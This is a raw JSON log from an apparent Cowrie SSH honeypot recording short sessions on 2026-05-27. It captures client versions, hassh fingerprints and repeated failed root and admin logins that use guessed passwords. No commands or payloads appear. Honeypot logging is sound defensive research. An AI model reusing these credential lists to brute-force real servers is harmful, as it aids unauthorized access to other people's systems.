{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:05:21.107024Z","src_ip":"94.159.98.239","session":"f86661ee7f14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:05:21.241756Z","src_ip":"94.159.98.239","session":"f86661ee7f14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"spitfire","message":"login attempt [root/spitfire] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:05:21.667602Z","src_ip":"94.159.98.239","session":"f86661ee7f14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:05:22.799640Z","src_ip":"94.159.98.239","session":"f86661ee7f14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":61472,"dst_ip":"159.203.135.109","dst_port":22,"session":"1baf352bfec6","protocol":"ssh","message":"New connection: 2.57.121.112:61472 (159.203.135.109:22) [session: 1baf352bfec6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:05:31.280813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:05:31.475311Z","src_ip":"2.57.121.112","session":"1baf352bfec6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:05:31.571671Z","src_ip":"2.57.121.112","session":"1baf352bfec6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"04081970","message":"login attempt [admin/04081970] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:05:32.042420Z","src_ip":"2.57.121.112","session":"1baf352bfec6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"0408","message":"login attempt [admin/0408] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:05:33.145309Z","src_ip":"2.57.121.112","session":"1baf352bfec6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"040788","message":"login attempt [admin/040788] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:05:34.248740Z","src_ip":"2.57.121.112","session":"1baf352bfec6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"040781","message":"login attempt [admin/040781] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:05:35.352455Z","src_ip":"2.57.121.112","session":"1baf352bfec6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"04071971","message":"login attempt [admin/04071971] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:05:36.455759Z","src_ip":"2.57.121.112","session":"1baf352bfec6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:05:37.559392Z","src_ip":"2.57.121.112","session":"1baf352bfec6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":55504,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7791c17f56c","protocol":"ssh","message":"New connection: 109.172.54.111:55504 (159.203.135.109:22) [session: c7791c17f56c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:05:38.400276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:05:38.432499Z","src_ip":"109.172.54.111","session":"c7791c17f56c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:05:38.550398Z","src_ip":"109.172.54.111","session":"c7791c17f56c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12321232","message":"login attempt [root/12321232] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:05:39.001146Z","src_ip":"109.172.54.111","session":"c7791c17f56c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:05:40.103686Z","src_ip":"109.172.54.111","session":"c7791c17f56c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":32998,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a0cf1b0ca22","protocol":"ssh","message":"New connection: 103.172.78.219:32998 (10.17.0.5:22) [session: 2a0cf1b0ca22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:06:12.590926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:06:12.595982Z","src_ip":"103.172.78.219","session":"2a0cf1b0ca22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:06:12.844188Z","src_ip":"103.172.78.219","session":"2a0cf1b0ca22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1313131313","message":"login attempt [root/1313131313] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:06:13.591274Z","src_ip":"103.172.78.219","session":"2a0cf1b0ca22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:06:14.841949Z","src_ip":"103.172.78.219","session":"2a0cf1b0ca22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":45682,"dst_ip":"159.203.135.109","dst_port":22,"session":"3bd5757301c8","protocol":"ssh","message":"New connection: 194.113.233.25:45682 (159.203.135.109:22) [session: 3bd5757301c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:06:58.218048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:06:58.223642Z","src_ip":"194.113.233.25","session":"3bd5757301c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:06:58.316085Z","src_ip":"194.113.233.25","session":"3bd5757301c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"andrei12","message":"login attempt [root/andrei12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:06:58.590368Z","src_ip":"194.113.233.25","session":"3bd5757301c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:06:59.685374Z","src_ip":"194.113.233.25","session":"3bd5757301c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":40358,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2eaafa9cb28","protocol":"ssh","message":"New connection: 103.27.238.114:40358 (159.203.135.109:22) [session: d2eaafa9cb28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:07:36.192494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:07:36.196787Z","src_ip":"103.27.238.114","session":"d2eaafa9cb28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:07:36.464790Z","src_ip":"103.27.238.114","session":"d2eaafa9cb28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mommy1","message":"login attempt [root/mommy1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:07:37.266248Z","src_ip":"103.27.238.114","session":"d2eaafa9cb28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":36300,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0cba5f00ab8","protocol":"ssh","message":"New connection: 103.82.20.28:36300 (159.203.135.109:22) [session: d0cba5f00ab8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:07:38.268325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:07:38.271927Z","src_ip":"103.82.20.28","session":"d0cba5f00ab8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:07:38.538728Z","src_ip":"103.27.238.114","session":"d2eaafa9cb28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:07:38.543436Z","src_ip":"103.82.20.28","session":"d0cba5f00ab8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"barbados","message":"login attempt [root/barbados] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:07:39.348113Z","src_ip":"103.82.20.28","session":"d0cba5f00ab8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:07:40.622693Z","src_ip":"103.82.20.28","session":"d0cba5f00ab8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":38112,"dst_ip":"10.17.0.5","dst_port":22,"session":"390b0f8eb1b4","protocol":"ssh","message":"New connection: 147.45.199.80:38112 (10.17.0.5:22) [session: 390b0f8eb1b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:07:49.409783Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:07:49.414184Z","src_ip":"147.45.199.80","session":"390b0f8eb1b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:07:49.512420Z","src_ip":"147.45.199.80","session":"390b0f8eb1b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"120688","message":"login attempt [root/120688] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:07:49.808427Z","src_ip":"147.45.199.80","session":"390b0f8eb1b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:07:50.909616Z","src_ip":"147.45.199.80","session":"390b0f8eb1b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":59854,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c3853db32d1","protocol":"ssh","message":"New connection: 103.15.222.183:59854 (159.203.135.109:22) [session: 8c3853db32d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:08:10.191758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:08:10.197308Z","src_ip":"103.15.222.183","session":"8c3853db32d1","protocol":"ssh"}
